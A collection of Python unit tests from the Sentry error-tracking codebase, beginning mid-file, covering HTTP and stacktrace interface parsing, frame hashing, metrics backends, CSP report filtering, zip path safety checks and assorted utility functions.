        assert result.cookies == [('a', 'b'), ('c', 'd')]

    def test_cookies_in_header(self):
        result = Http.to_python(dict(
            url='http://example.com',
            headers={'Cookie': 'a=b;c=d'},
        ))
        assert result.cookies == [('a', 'b'), ('c', 'd')]
        result = Http.to_python(dict(
            url='http://example.com',
            headers={'Cookie': 'a=b;c=d'},
            cookies={'foo': 'bar'},
        ))
        assert result.cookies == [('foo', 'bar')]

    def test_query_string_and_fragment_as_params(self):
        result = Http.to_python(dict(
            url='http://example.com',
            query_string='foo=bar',
            fragment='fragment',
        ))
        assert result.url == 'http://example.com'
        assert result.full_url == 'http://example.com?foo=bar#fragment'

    def test_query_string_and_fragment_in_url(self):
        result = Http.to_python(dict(
            url='http://example.com?foo=bar#fragment',
        ))
        assert result.url == 'http://example.com'
        assert result.full_url == 'http://example.com?foo=bar#fragment'

    def test_header_value_list(self):
        result = Http.to_python(dict(
            url='http://example.com',
            headers={'Foo': ['1', '2']},
        ))
        assert result.headers == [('Foo', '1, 2')]

    def test_header_value_str(self):
        result = Http.to_python(dict(
            url='http://example.com',
            headers={'Foo': 1}
        ))
        assert result.headers == [('Foo', '1')]

    def test_method(self):
        with self.assertRaises(InterfaceValidationError):
            Http.to_python(dict(
                url='http://example.com',
                method='1234',
            ))

        with self.assertRaises(InterfaceValidationError):
            Http.to_python(dict(
                url='http://example.com',
                method='A' * 33,
            ))

        with self.assertRaises(InterfaceValidationError):
            Http.to_python(dict(
                url='http://example.com',
                method='A',
            ))

        result = Http.to_python(dict(
            url='http://example.com',
            method='TEST',
        ))
        assert result.method == 'TEST'

        result = Http.to_python(dict(
            url='http://example.com',
            method='FOO-BAR',
        ))
        assert result.method == 'FOO-BAR'

        result = Http.to_python(dict(
            url='http://example.com',
            method='FOO_BAR',
        ))
        assert result.method == 'FOO_BAR'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

import functools

import mock
from django.template.loader import render_to_string
from exam import fixture

from sentry.interfaces.base import InterfaceValidationError
from sentry.interfaces.stacktrace import (
    Frame, Stacktrace, get_context, slim_frame_data
)
from sentry.models import Event
from sentry.testutils import TestCase


class GetContextTest(TestCase):
    def test_works_with_empty_filename(self):
        result = get_context(0, 'hello world')
        assert result == [(0, 'hello world')]


class StacktraceTest(TestCase):
    @fixture
    def interface(self):
        return Stacktrace.to_python(dict(frames=[
            {
                'filename': 'foo/bar.py'
            },
            {
                'filename': 'foo/baz.py',
                'lineno': 1,
                'in_app': True,
            }
        ]))

    def test_legacy_interface(self):
        # Simple test to ensure legacy data works correctly with the ``Frame``
        # objects
        event = self.event
        interface = Stacktrace.to_python(event.data['sentry.interfaces.Stacktrace'])
        assert len(interface.frames) == 1
        assert interface == event.interfaces['sentry.interfaces.Stacktrace']

    def test_requires_filename(self):
        with self.assertRaises(InterfaceValidationError):
            Stacktrace.to_python(dict(frames=[{}]))

        Stacktrace.to_python(dict(frames=[{
            'filename': 'foo.py',
        }]))
        Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'foo.py',
        }]))

    def test_requires_frames(self):
        with self.assertRaises(InterfaceValidationError):
            Stacktrace.to_python({})

        with self.assertRaises(InterfaceValidationError):
            Stacktrace.to_python(dict(frames=[]))

        with self.assertRaises(InterfaceValidationError):
            Stacktrace.to_python(dict(frames=1))

    def test_allows_abs_path_without_filename(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'abs_path': 'foo/bar/baz.py',
        }]))
        frame = interface.frames[0]
        assert frame.filename == 'foo/bar/baz.py'
        assert frame.abs_path == frame.filename

    def test_coerces_url_filenames(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'http://foo.com/foo.js',
        }]))
        frame = interface.frames[0]
        assert frame.filename == '/foo.js'
        assert frame.abs_path == 'http://foo.com/foo.js'

    def test_does_not_overwrite_filename(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'foo.js',
            'abs_path': 'http://foo.com/foo.js',
        }]))
        frame = interface.frames[0]
        assert frame.filename == 'foo.js'
        assert frame.abs_path == 'http://foo.com/foo.js'

    def test_ignores_results_with_empty_path(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'http://foo.com',
        }]))
        frame = interface.frames[0]
        assert frame.filename == 'http://foo.com'
        assert frame.abs_path == frame.filename

    def test_serialize_returns_frames(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'foo.py',
        }]))
        result = interface.to_json()
        assert 'frames' in result

    def test_hash_without_system_frames(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'foo.py',
            'in_app': True,
        }, {
            'lineno': 1,
            'filename': 'bar.py',
            'in_app': None,
        }]))
        result = interface.get_hash(system_frames=False)
        assert result == ['foo.py', 1]

        result = interface.get_hash(system_frames=True)
        assert result == ['foo.py', 1, 'bar.py', 1]

    def test_compute_hashes(self):
        interface = Stacktrace.to_python(dict(frames=[{
            'lineno': 1,
            'filename': 'foo.py',
            'in_app': True,
        }, {
            'lineno': 1,
            'filename': 'bar.py',
            'in_app': None,
        }]))
        result = interface.compute_hashes('python')
        assert result == [['foo.py', 1, 'bar.py', 1], ['foo.py', 1]]

    def test_get_hash_with_minimal_app_frames(self):
        frames = [{
            'lineno': 1,
            'filename': 'foo.py',
            'in_app': True,
        }] + [{
            'lineno': 1,
            'filename': 'bar.py',
            'in_app': False,
        } for _ in range(11)]
        interface = Stacktrace.to_python(dict(frames=frames))
        result = interface.get_hash(system_frames=False)
        assert not result

    def test_get_hash_with_only_required_vars(self):
        interface = Frame.to_python({
            'lineno': 1,
            'filename': 'foo.py',
        })
        result = interface.get_hash()
        self.assertEquals(result, ['foo.py', 1])

    def test_get_hash_sanitizes_block_functions(self):
        # This is Ruby specific
        interface = Frame.to_python({
            'filename': 'foo.py',
            'function': 'block in _conditional_callback_around_233',
        })
        result = interface.get_hash()
        self.assertEquals(result, ['foo.py', 'block'])

    def test_get_hash_sanitizes_versioned_filenames(self):
        # This is Ruby specific
        interface = Frame.to_python({
            'filename': '/data/foo/releases/20140114151955/app/views/foo.html.erb',
            'context_line': '<% if @hotels.size > 0 %>',
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            '/data/foo/releases/<version>/app/views/foo.html.erb',
            '<% if @hotels.size > 0 %>',
        ])

        interface = Frame.to_python({
            'filename': '20140114151955/app/views/foo.html.erb',
            'context_line': '<% if @hotels.size > 0 %>',
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            '<version>/app/views/foo.html.erb',
            '<% if @hotels.size > 0 %>',
        ])

    def test_get_hash_ignores_java8_lambda_module(self):
        interface = Frame.to_python({
            'module': 'foo.bar.Baz$$Lambda$40/1673859467',
            'function': 'call',
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            '<module>',
            'call',
        ])

    def test_get_hash_ignores_java8_lambda_function(self):
        interface = Frame.to_python({
            'module': 'foo.bar.Baz',
            'function': 'lambda$work$1',
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            'foo.bar.Baz',
            '<function>',
        ])

    def test_get_hash_ignores_ENHANCED_spring_classes(self):
        interface = Frame.to_python({
            'module': 'invalid.gruml.talkytalkyhub.common.config.'
            'JipJipConfig$$EnhancerBySpringCGLIB$$1ebdddb0',
            'function': 'jipJipManagementApplication'
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            'invalid.gruml.talkytalkyhub.common.config.JipJipConfig'
            '$$EnhancerBySpringCGLIB$$<auto>',
            'jipJipManagementApplication',
        ])

    def test_get_hash_ignores_extra_ENHANCED_spring_classes(self):
        interface = Frame.to_python({
            'module': 'invalid.gruml.talkytalkyhub.common.config.'
            'JipJipConfig$$EnhancerBySpringCGLIB$$1ebdddb0'
            '$$EnhancerBySpringCGLIB$$8219cd38'
            '$$FastClassBySpringCGLIB$$6c0b35d1',
            'function': 'jipJipManagementApplication'
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            'invalid.gruml.talkytalkyhub.common.config.JipJipConfig'
            '$$EnhancerBySpringCGLIB$$<auto>$$EnhancerBySpringCGLIB$$<auto>'
            '$$FastClassBySpringCGLIB$$<auto>',
            'jipJipManagementApplication',
        ])

    def test_get_hash_sanitizes_erb_templates(self):
        # This is Ruby specific
        interface = Frame.to_python({
            'filename': 'foo.html.erb',
            'function': '_foo_html_erb__3327151541118998292_70361296749460',
        })
        result = interface.get_hash()
        self.assertEquals(result, [
            'foo.html.erb', '_foo_html_erb__<anon>_<anon>',
        ])

    def test_get_hash_ignores_filename_if_blob(self):
        interface = Frame.to_python({
            'filename': 'blob:http://example.com/7f7aaadf-a006-4217-9ed5-5fbf8585c6c0',
        })
        result = interface.get_hash()
        self.assertEquals(result, [])

    def test_get_hash_ignores_filename_if_http(self):
        interface = Frame.to_python({
            'context_line': 'hello world',
            'filename': 'http://foo.com/foo.py',
            'function': 'test',
        })
        result = interface.get_hash()
        self.assertEquals(result, ['hello world'])

    def test_get_hash_ignores_filename_if_https(self):
        interface = Frame.to_python({
            'context_line': 'hello world',
            'filename': 'https://foo.com/foo.py',
            'function': 'test',
        })
        result = interface.get_hash()
        self.assertEquals(result, ['hello world'])

    def test_get_hash_ignores_filename_if_abs_path_is_http(self):
        interface = Frame.to_python({
            'context_line': 'hello world',
            'abs_path': 'https://foo.com/foo.py',
            'function': 'test',
            'filename': 'foo.py',
        })
        result = interface.get_hash()
        self.assertEquals(result, ['hello world'])

    def test_get_hash_uses_module_over_filename(self):
        interface = Frame.to_python({
            'lineno': 1,
            'filename': 'foo.py',
            'module': 'foo'
        })
        result = interface.get_hash()
        self.assertEquals(result, ['foo', 1])

    def test_get_hash_uses_function_over_lineno(self):
        interface = Frame.to_python({
            'lineno': 1,
            'filename': 'foo.py',
            'function': 'bar'
        })
        result = interface.get_hash()
        self.assertEquals(result, ['foo.py', 'bar'])

    def test_get_hash_uses_context_line_over_function(self):
        interface = Frame.to_python({
            'context_line': 'foo bar',
            'lineno': 1,
            'filename': 'foo.py',
            'function': 'bar'
        })
        result = interface.get_hash()
        self.assertEquals(result, ['foo.py', 'foo bar'])

    def test_get_hash_discards_seemingly_useless_stack(self):
        interface = Stacktrace.to_python({
            'frames': [{
                'context_line': '<HTML>',
                'lineno': 1,
                'abs_path': 'http://example.com/foo',
                'filename': 'foo',
                'function': '?',
            }],
        })
        result = interface.get_hash()
        assert result == []

    def test_get_hash_does_not_discard_non_urls(self):
        interface = Stacktrace.to_python({
            'frames': [{
                'context_line': '<HTML>',
                'lineno': 1,
                'abs_path': 'foo',
                'filename': 'foo',
                'function': '?',
            }],
        })
        result = interface.get_hash()
        assert result != []

    def test_get_hash_excludes_single_frame_urls(self):
        """
        Browser JS will often throw errors (from inlined code in an HTML page)
        which contain only a single frame, no function name, and have the HTML
        document as the filename.

        In this case the hash is often not usable as the context cannot be
        trusted and the URL is dynamic.
        """
        interface = Stacktrace.to_python({
            'frames': [{
                'context_line': 'hello world',
                'abs_path': 'http://foo.com/bar/',
                'lineno': 107,
                'filename': '/bar/',
                'module': '<unknown module>',
            }],
        })
        result = interface.get_hash()
        assert result == []

    def test_cocoa_culprit(self):
        stacktrace = Stacktrace.to_python(dict(frames=[
            {
                'filename': 'foo/baz.c',
                'package': '/foo/bar/baz.dylib',
                'lineno': 1,
                'in_app': True,
                'function': 'fooBar',
            }
        ]))
        assert stacktrace.get_culprit_string(platform='cocoa') == 'fooBar (baz)'

    def test_get_hash_does_not_group_different_js_errors(self):
        interface = Stacktrace.to_python({
            'frames': [{
                'context_line': '{snip}',
                'lineno': 20,
                'filename': 'https://foo.com/index.js',
                'function': '?',
            }],
        })
        result = interface.get_hash()
        assert result == []

    @mock.patch('sentry.interfaces.stacktrace.Stacktrace.get_stacktrace')
    def test_to_string_returns_stacktrace(self, get_stacktrace):
        event = mock.Mock(spec=Event())
        interface = Stacktrace(frames=[])
        result = interface.to_string(event)
        get_stacktrace.assert_called_once_with(event, system_frames=False, max_frames=10)
        self.assertEquals(result, get_stacktrace.return_value)

    @mock.patch('sentry.interfaces.stacktrace.is_newest_frame_first', mock.Mock(return_value=False))
    @mock.patch('sentry.interfaces.stacktrace.Stacktrace.get_stacktrace')
    def test_get_traceback_response(self, get_stacktrace):
        event = mock.Mock(spec=Event())
        event.message = 'foo'
        get_stacktrace.return_value = 'bar'
        interface = Stacktrace.to_python(dict(frames=[{'lineno': 1, 'filename': 'foo.py'}]))
        result = interface.get_traceback(event)
        get_stacktrace.assert_called_once_with(event, newest_first=None)
        self.assertEquals(result, 'foo\n\nbar')

    @mock.patch('sentry.interfaces.stacktrace.is_newest_frame_first', mock.Mock(return_value=False))
    def test_get_stacktrace_with_only_filename(self):
        event = mock.Mock(spec=Event())
        interface = Stacktrace.to_python(dict(frames=[{'filename': 'foo'}, {'filename': 'bar'}]))
        result = interface.get_stacktrace(event)
        self.assertEquals(result, 'Stacktrace (most recent call last):\n\n  File "foo"\n  File "bar"')

    @mock.patch('sentry.interfaces.stacktrace.is_newest_frame_first', mock.Mock(return_value=False))
    def test_get_stacktrace_with_module(self):
        event = mock.Mock(spec=Event())
        interface = Stacktrace.to_python(dict(frames=[{'module': 'foo'}, {'module': 'bar'}]))
        result = interface.get_stacktrace(event)
        self.assertEquals(result, 'Stacktrace (most recent call last):\n\n  Module "foo"\n  Module "bar"')

    @mock.patch('sentry.interfaces.stacktrace.is_newest_frame_first', mock.Mock(return_value=False))
    def test_get_stacktrace_with_filename_and_function(self):
        event = mock.Mock(spec=Event())
        interface = Stacktrace.to_python(dict(frames=[{'filename': 'foo', 'function': 'biz'}, {'filename': 'bar', 'function': 'baz'}]))
        result = interface.get_stacktrace(event)
        self.assertEquals(result, 'Stacktrace (most recent call last):\n\n  File "foo", in biz\n  File "bar", in baz')

    @mock.patch('sentry.interfaces.stacktrace.is_newest_frame_first', mock.Mock(return_value=False))
    def test_get_stacktrace_with_filename_function_lineno_and_context(self):
        event = mock.Mock(spec=Event())
        interface = Stacktrace.to_python(dict(frames=[
            {'filename': 'foo', 'function': 'biz', 'lineno': 3, 'context_line': '  def foo(r):'},
            {'filename': 'bar', 'function': 'baz', 'lineno': 5, 'context_line': '    return None'},
        ]))
        result = interface.get_stacktrace(event)
        self.assertEquals(result, 'Stacktrace (most recent call last):\n\n  File "foo", line 3, in biz\n    def foo(r):\n  File "bar", line 5, in baz\n    return None')

    def test_bad_input(self):
        with self.assertRaises(InterfaceValidationError):
            Frame.to_python({
                'filename': 1,
            })

        with self.assertRaises(InterfaceValidationError):
            Frame.to_python({
                'filename': 'foo',
                'abs_path': 1,
            })

        with self.assertRaises(InterfaceValidationError):
            Frame.to_python({
                'function': 1,
            })

        with self.assertRaises(InterfaceValidationError):
            Frame.to_python({
                'module': 1,
            })

    def test_context_with_nan(self):
        self.assertEquals(
            Frame.to_python({
                'filename': 'x',
                'vars': {'x': float('inf')},
            }).vars,
            {'x': '<inf>'},
        )
        self.assertEquals(
            Frame.to_python({
                'filename': 'x',
                'vars': {'x': float('-inf')},
            }).vars,
            {'x': '<-inf>'},
        )
        self.assertEquals(
            Frame.to_python({
                'filename': 'x',
                'vars': {'x': float('nan')},
            }).vars,
            {'x': '<nan>'},
        )

    def test_address_normalization(self):
        interface = Frame.to_python({
            'lineno': 1,
            'filename': 'blah.c',
            'function': 'main',
            'instruction_addr': 123456,
            'symbol_addr': '123450',
            'image_addr': '0x0',
        })
        assert interface.instruction_addr == '0x1e240'
        assert interface.symbol_addr == '0x1e23a'
        assert interface.image_addr == '0x0'


class SlimFrameDataTest(TestCase):
    def test_under_max(self):
        interface = Stacktrace.to_python({'frames': [{'filename': 'foo'}]})
        slim_frame_data(interface, 4)
        assert len(interface.frames) == 1
        assert not interface.frames_omitted

    def test_over_max(self):
        values = []
        for n in range(5):
            values.append({
                'filename': 'frame %d' % n,
                'vars': {'foo': 'bar'},
                'context_line': 'b',
                'pre_context': ['a'],
                'post_context': ['c'],
            })
        interface = Stacktrace.to_python({'frames': values})
        slim_frame_data(interface, 4)

        assert len(interface.frames) == 5

        for value, num in zip(interface.frames[:2], range(2)):
            assert value.filename == 'frame %d' % num
            assert value.vars is not None
            assert value.pre_context is not None
            assert value.post_context is not None

        for value, num in zip(interface.frames[3:], range(3, 5)):
            assert value.filename == 'frame %d' % num
            assert value.vars is not None
            assert value.pre_context is not None
            assert value.post_context is not None

        value = interface.frames[2]
        assert value.filename == 'frame 2'
        assert not value.vars
        assert not value.pre_context
        assert not value.post_context


def test_java_frame_rendering():
    render = functools.partial(render_to_string, 'sentry/partial/frames/java.txt')

    # This is the ideal case.
    assert render({
        'module': 'com.getsentry.example.Example',
        'function': 'test',
        'filename': 'Example.java',
        'lineno': 1,
    }).strip() == 'at com.getsentry.example.Example.test(Example.java:1)'

    # Legacy support for frames without filename.
    assert render({
        'module': 'com.getsentry.example.Example',
        'function': 'test',
        'lineno': 1,
    }).strip() == 'at com.getsentry.example.Example.test'

    # (This shouldn't happen, but...)
    assert render({
        'module': 'com.getsentry.example.Example',
        'function': 'test',
        'filename': 'foo/bar/Example.java',
        'lineno': 1,
    }).strip() == 'at com.getsentry.example.Example.test(Example.java:1)'

    # Native methods don't have line numbers.
    assert render({
        'function': 'test',
        'filename': 'Example.java',
        'lineno': -2,
    }).strip() == 'at test(Example.java)'

    assert render({
        'function': 'test',
        'filename': 'Example.java',
        'lineno': 1,
    }).strip() == 'at test(Example.java:1)'






from __future__ import absolute_import

from mock import patch

from sentry.metrics.statsd import StatsdMetricsBackend
from sentry.testutils import TestCase


class StatsdMetricsBackendTest(TestCase):
    def setUp(self):
        self.backend = StatsdMetricsBackend(prefix='sentrytest.')

    @patch('statsd.StatsClient.incr')
    def test_incr(self, mock_incr):
        self.backend.incr('foo')
        mock_incr.assert_called_once_with('sentrytest.foo', 1, 1)

    @patch('statsd.StatsClient.timing')
    def test_timing(self, mock_timing):
        self.backend.timing('foo', 30)
        mock_timing.assert_called_once_with('sentrytest.foo', 30, 1)






from __future__ import absolute_import

from mock import patch

from datadog.util.hostname import get_hostname

from sentry.metrics.datadog import DatadogMetricsBackend
from sentry.testutils import TestCase


class DatadogMetricsBackendTest(TestCase):
    def setUp(self):
        self.backend = DatadogMetricsBackend(prefix='sentrytest.')

    @patch('datadog.threadstats.base.ThreadStats.increment')
    def test_incr(self, mock_incr):
        self.backend.incr('foo', instance='bar')
        mock_incr.assert_called_once_with(
            'sentrytest.foo', 1,
            tags=['instance:bar'],
            host=get_hostname(),
        )

    @patch('datadog.threadstats.base.ThreadStats.timing')
    def test_timing(self, mock_timing):
        self.backend.timing('foo', 30, instance='bar')
        mock_timing.assert_called_once_with(
            'sentrytest.foo', 30,
            sample_rate=1,
            tags=['instance:bar'],
            host=get_hostname(),
        )






from __future__ import absolute_import






from __future__ import absolute_import

import pytest

from sentry.utils.csp import is_valid_csp_report


@pytest.mark.parametrize('report', (
    {},
    {'effective-directive': 'lolnotreal'},
    {'effective-directive': 'style-src'},
    {'effective-directive': 'style-src', 'blocked-uri': 'about'},
    {'effective-directive': 'style-src', 'source-file': 'chrome-extension://fdsa'},
    {'effective-directive': 'style-src', 'source-file': 'http://localhost:8000'},
    {'effective-directive': 'style-src', 'source-file': 'http://localhost'},
    {'effective-directive': 'style-src', 'source-file': 'http://foo.superfish.com'},
    {'effective-directive': 'style-src', 'blocked-uri': 'http://foo.superfish.com'},
))
def test_blocked_csp_report(report):
    assert is_valid_csp_report(report) is False


@pytest.mark.parametrize('report', (
    {'effective-directive': 'style-src', 'blocked-uri': 'http://example.com'},
    {'effective-directive': 'script-src', 'blocked-uri': 'http://example.com'},
    {'effective-directive': 'style-src', 'source-file': 'http://example.com'},
))
def test_valid_csp_report(report):
    assert is_valid_csp_report(report) is True






from __future__ import absolute_import

import mock
import pytest

from sentry.utils.metrics import timer


def test_timer_success():
    with mock.patch('sentry.utils.metrics.timing') as timing:
        with timer('key', tags={'foo': True}) as tags:
            tags['bar'] = False

        assert timing.call_count is 1
        args, kwargs = timing.call_args
        assert args[0] is 'key'
        assert args[3] == {
            'foo': True,
            'bar': False,
            'result': 'success',
        }


class ExpectedError(Exception):
    pass


def test_timer_failure():
    with mock.patch('sentry.utils.metrics.timing') as timing:
        with pytest.raises(ExpectedError):
            with timer('key', tags={'foo': True}):
                raise ExpectedError

        assert timing.call_count is 1
        args, kwargs = timing.call_args
        assert args[0] is 'key'
        assert args[3] == {
            'foo': True,
            'result': 'failure',
        }






from __future__ import absolute_import

from sentry.utils.zip import is_unsafe_path, find_common_prefix


def test_is_unsafe_path():
    assert is_unsafe_path('/foo.txt')
    assert is_unsafe_path('../foo.txt')
    assert is_unsafe_path('aha/../foo.txt')
    assert not is_unsafe_path('foo.txt')
    assert not is_unsafe_path('foo/bar.txt')


def test_find_common_prefix():
    assert find_common_prefix(['foo/bar', '.crap', 'foo/bar/baz']) == 'foo/'
    assert find_common_prefix(['foo/bar', '.crap', 'x/foo/bar/baz']) == ''
    assert find_common_prefix(['foo/bar', 'foo']) == 'foo/'
    assert find_common_prefix(['foo/bar', 'bar']) == ''






from __future__ import absolute_import






from __future__ import absolute_import

import datetime
import pytz

from sentry.utils.dates import (
    to_datetime,
    to_timestamp,
)


def test_timestamp_conversions():
    value = datetime.datetime(2015, 10, 1, 21, 19, 5, 648517, tzinfo=pytz.utc)
    assert int(to_timestamp(value)) == int(value.strftime('%s'))
    assert to_datetime(to_timestamp(value)) == value






from __future__ import absolute_import

from sentry.testutils import TestCase
from sentry.utils.safe import safe_execute, trim, trim_dict

a_very_long_string = 'a' * 1024


class TrimTest(TestCase):
    def test_simple_string(self):
        assert trim(a_very_long_string) == a_very_long_string[:509] + '...'

    def test_list_of_strings(self):
        assert trim([a_very_long_string, a_very_long_string]) == [
            a_very_long_string[:507] + '...',
        ]


class TrimDictTest(TestCase):
    def test_large_dict(self):
        value = dict((k, k) for k in range(500))
        trim_dict(value)
        assert len(value) == 50


class SafeExecuteTest(TestCase):
    def test_with_nameless_function(self):
        assert safe_execute(lambda a: a, 1) == 1
        assert safe_execute(lambda: a) is None  # NOQA

    def test_with_simple_function(self):
        def simple(a):
            return a

        assert safe_execute(simple, 1) == 1

        def simple(a):
            raise Exception()

        assert safe_execute(simple, 1) is None

    def test_with_instance_method(self):
        class Foo(object):
            def simple(self, a):
                return a

        assert safe_execute(Foo().simple, 1) == 1

        class Foo(object):
            def simple(self, a):
                raise Exception()

        assert safe_execute(Foo().simple, 1) is None






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from sentry.utils.types import (
    InvalidTypeError,
    Any, Bool, Int, Float, String, Dict, Sequence,
)
from sentry.testutils import TestCase


class OptionsTypesTest(TestCase):
    def test_any(self):
        assert Any('foo') == 'foo'
        assert Any(1) == 1
        assert Any(None) is None
        assert Any() is None
        assert Any.test(None)
        assert Any.test('foo')
        assert Any.test('bar')

    def test_bool(self):
        assert Bool(True) is True
        assert Bool('y') is True
        assert Bool('YES') is True
        assert Bool('t') is True
        assert Bool('true') is True
        assert Bool('1') is True
        assert Bool('on') is True
        assert Bool(False) is False
        assert Bool('n') is False
        assert Bool('NO') is False
        assert Bool('f') is False
        assert Bool('false') is False
        assert Bool('0') is False
        assert Bool('off') is False
        assert Bool() is False
        assert Bool.test(None) is False
        assert Bool(True) is True
        assert Bool.test('foo') is False
        with self.assertRaises(InvalidTypeError):
            Bool('foo')

    def test_int(self):
        assert Int(1) == 1
        assert Int('1') == 1
        assert Int('-1') == -1
        assert Int() == 0
        with self.assertRaises(InvalidTypeError):
            Int('foo')
        with self.assertRaises(InvalidTypeError):
            Int('1.1')

    def test_float(self):
        assert Float(1.0) == 1.0
        assert Float('1') == 1.0
        assert Float('-1.1') == -1.1
        assert Float(1) == 1.0
        assert Float() == 0.0
        with self.assertRaises(InvalidTypeError):
            Float('foo')

    def test_string(self):
        assert String('foo') == 'foo'
        assert String(u'foo') == u'foo'
        assert String() == u''
        with self.assertRaises(InvalidTypeError):
            String(0)

    def test_dict(self):
        assert Dict({}) == {}
        assert Dict({'foo': 'bar'}) == {'foo': 'bar'}
        assert Dict('{foo: bar}') == {'foo': 'bar'}
        assert Dict() == {}
        with self.assertRaises(InvalidTypeError):
            assert Dict('[]')
        with self.assertRaises(InvalidTypeError):
            assert Dict([])
        with self.assertRaises(InvalidTypeError):
            assert Dict('')
        with self.assertRaises(InvalidTypeError):
            # malformed yaml/json
            assert Dict('{foo:bar}')

    def test_sequence(self):
        assert Sequence(()) == ()
        assert Sequence([]) == []
        assert Sequence((1, 2, 3)) == (1, 2, 3)
        assert Sequence([1, 2, 3]) == [1, 2, 3]
        assert Sequence('[1,2,3]') == (1, 2, 3)
        with self.assertRaises(InvalidTypeError):
            Sequence('{}')
        with self.assertRaises(InvalidTypeError):
            Sequence({})
        with self.assertRaises(InvalidTypeError):
            Sequence('')
        with self.assertRaises(InvalidTypeError):
            # malformed yaml/json
            Sequence('[1,')






from __future__ import absolute_import

import math

from mock import Mock

from sentry.utils.cursors import build_cursor, Cursor


def build_mock(**attrs):
    obj = Mock()
    for key, value in attrs.items():
        setattr(obj, key, value)
    obj.__repr__ = lambda x: repr(attrs)
    return obj


def test_build_cursor():
    event1 = build_mock(id=1.1, message='one')
    event2 = build_mock(id=1.1, message='two')
    event3 = build_mock(id=2.1, message='three')

    results = [event1, event2, event3]

    cursor_kwargs = {
        'key': lambda x: math.floor(x.id),
        'limit': 1,
    }

    cursor = build_cursor(results, **cursor_kwargs)
    assert isinstance(cursor.next, Cursor)
    assert cursor.next
    assert isinstance(cursor.prev, Cursor)
    assert not cursor.prev
    assert list(cursor) == [event1]

    cursor = build_cursor(results[1:], cursor=cursor.next, **cursor_kwargs)
    assert isinstance(cursor.next, Cursor)
    assert cursor.next
    assert isinstance(cursor.prev, Cursor)
    assert cursor.prev
    assert list(cursor) == [event2]

    cursor = build_cursor(results[2:], cursor=cursor.next, **cursor_kwargs)
    assert isinstance(cursor.next, Cursor)
    assert not cursor.next
    assert isinstance(cursor.prev, Cursor)
    assert cursor.prev
    assert list(cursor) == [event3]






from __future__ import absolute_import

from sentry.utils.avatar import get_letter_avatar


def test_letter_avatar():
    # Test name as display name and email as identifier
    letter_avatar = get_letter_avatar('Jane Doe', 'janedoe@example.com')
    assert 'JD' in letter_avatar
    assert '#E56AA6' in letter_avatar
    assert 'svg' in letter_avatar

    # Test email as display name and id as identifier
    letter_avatar = get_letter_avatar('johnsmith@example.com', 2)
    assert 'J' in letter_avatar
    assert '#6FBA57' in letter_avatar

    # Test no display name and ip address as identifier
    letter_avatar = get_letter_avatar(None, '127.0.0.1')
    assert '?' in letter_avatar
    assert '#E35141' in letter_avatar

    # Test display name with trailing spaces
    letter_avatar = get_letter_avatar('johnsmith@example.com ', 2)
    assert 'J' in letter_avatar
    assert '#6FBA57' in letter_avatar

    # Test name as display name and email as identifier for html
    letter_avatar = get_letter_avatar('Jane Doe', 'janedoe@example.com', use_svg=False)
    assert 'JD' in letter_avatar
    assert '#E56AA6' in letter_avatar
    assert 'span' in letter_avatar

    # Test email as display name and id as identifier for html
    letter_avatar = get_letter_avatar('johnsmith@example.com', 2, use_svg=False)
    assert 'J' in letter_avatar
    assert '#6FBA57' in letter_avatar

    # Test no display name and ip address as identifier for html
    letter_avatar = get_letter_avatar(None, '127.0.0.1', use_svg=False)
    assert '?' in letter_avatar
    assert '#E35141' in letter_avatar






from __future__ import absolute_import

import mock

from sentry.testutils import TestCase
from sentry.utils.retries import TimedRetryPolicy, RetryException


class TimedRetryPolicyTestCase(TestCase):
    def test_policy_success(self):
        bomb = Exception('Boom!')
        callable = mock.MagicMock(side_effect=[bomb, mock.sentinel.OK])

        retry = TimedRetryPolicy(30, delay=lambda i: 10)
        retry.clock = mock.Mock()
        retry.clock.sleep = mock.MagicMock()
        retry.clock.time = mock.MagicMock(side_effect=[0, 15])

        assert retry(callable) is mock.sentinel.OK
        assert callable.call_count == 2

    def test_policy_failure(self):
        bomb = Exception('Boom!')
        callable = mock.MagicMock(side_effect=bomb)

        retry = TimedRetryPolicy(30, delay=lambda i: 10)
        retry.clock = mock.Mock()
        retry.clock.sleep = mock.MagicMock()
        retry.clock.time = mock.MagicMock(side_effect=[0, 15, 25])

        try:
            retry(callable)
        except RetryException as exception:
            assert exception.exception is bomb
        else:
            self.fail('Expected {!r}!'.format(RetryException))

        assert callable.call_count == 2






from __future__ import absolute_import

import functools

from sentry.utils.strings import (
    is_valid_dot_atom, iter_callsign_choices, soft_break, soft_hyphenate,
    tokens_from_name
)

ZWSP = u'\u200b'  # zero width space
SHY = u'\u00ad'  # soft hyphen


def test_soft_break():
    assert soft_break('com.example.package.method(argument).anotherMethod(argument)', 15) == \
        ZWSP.join(['com.', 'example.', 'package.', 'method(', 'argument).', 'anotherMethod(', 'argument)'])


def test_soft_break_and_hyphenate():
    hyphenate = functools.partial(soft_hyphenate, length=6)
    assert soft_break('com.reallyreallyreally.long.path', 6, hyphenate) == \
        ZWSP.join(['com.', SHY.join(['really'] * 3) + '.', 'long.', 'path'])


def test_tokens_from_name():
    assert list(tokens_from_name('MyHTTPProject42')) == [
        'my', 'http', 'project42']
    assert list(tokens_from_name('MyHTTPProject42', remove_digits=True)) == [
        'my', 'http', 'project']
    assert list(tokens_from_name('MyHTTPProject Awesome 42 Stuff')) == [
        'my', 'http', 'project', 'awesome', '42', 'stuff']
    assert list(tokens_from_name('MyHTTPProject Awesome 42 Stuff',
                                 remove_digits=True)) == [
        'my', 'http', 'project', 'awesome', 'stuff']


def test_iter_callsign_choices():
    choices = iter_callsign_choices('FooBar')
    assert next(choices) == 'FB'
    assert next(choices) == 'FB2'
    assert next(choices) == 'FB3'
    assert next(choices) == 'FB4'

